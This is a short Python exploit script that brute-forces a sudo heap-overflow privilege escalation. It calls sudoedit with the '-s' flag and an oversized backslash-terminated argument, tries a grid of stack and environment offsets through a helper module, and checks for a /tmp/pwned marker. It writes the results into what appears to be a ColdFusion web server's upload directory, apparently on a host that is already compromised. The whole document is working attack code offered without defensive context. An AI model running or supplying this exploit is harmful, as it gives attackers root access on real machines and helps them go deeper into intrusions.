import bs_sa, os
from ctypes import cdll, c_char_p, POINTER
bs_sa.has_tailq=False; bs_sa.has_file=False; bs_sa.MATCH_ALL=279; bs_sa.DEFAULTS_CMND=268
bs_sa.ENV_STACK_SIZE_MB = 2
libc=cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes=c_char_p,POINTER(c_char_p),POINTER(c_char_p)
base=0x7fffffdfefda
res=[]
for cs in [0x8000,0x9000,0xa000,0xb000,0xc000]:
    for off in [0x1000,0x2000,0x3000,0x4000,0x5000,0x6000,0x7000]:
        SA = base - (off - 0x20)
        bs_sa.STACK_ADDR_PAGE = SA
        argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cs-0x10)+b"\\",None]
        env=bs_sa.create_env(off)
        cargv=(c_char_p*len(argv))(*argv); cenvp=(c_char_p*len(env))(*env)
        ec=bs_sa.spawn_raw(bs_sa.SUDO_PATH, cargv, cenvp)
        res.append('c%x_o%x:%d'%(cs,off,ec))
        if os.path.exists('/tmp/pwned'):
            res.append('PWNED@c%x_o%x'%(cs,off)); break
    if os.path.exists('/tmp/pwned'): break
open('/opt/coldfusion8/wwwroot/userfiles/file/scan.txt','w').write('pwned=%s %s\n'%(os.path.exists('/tmp/pwned'),','.join(res)))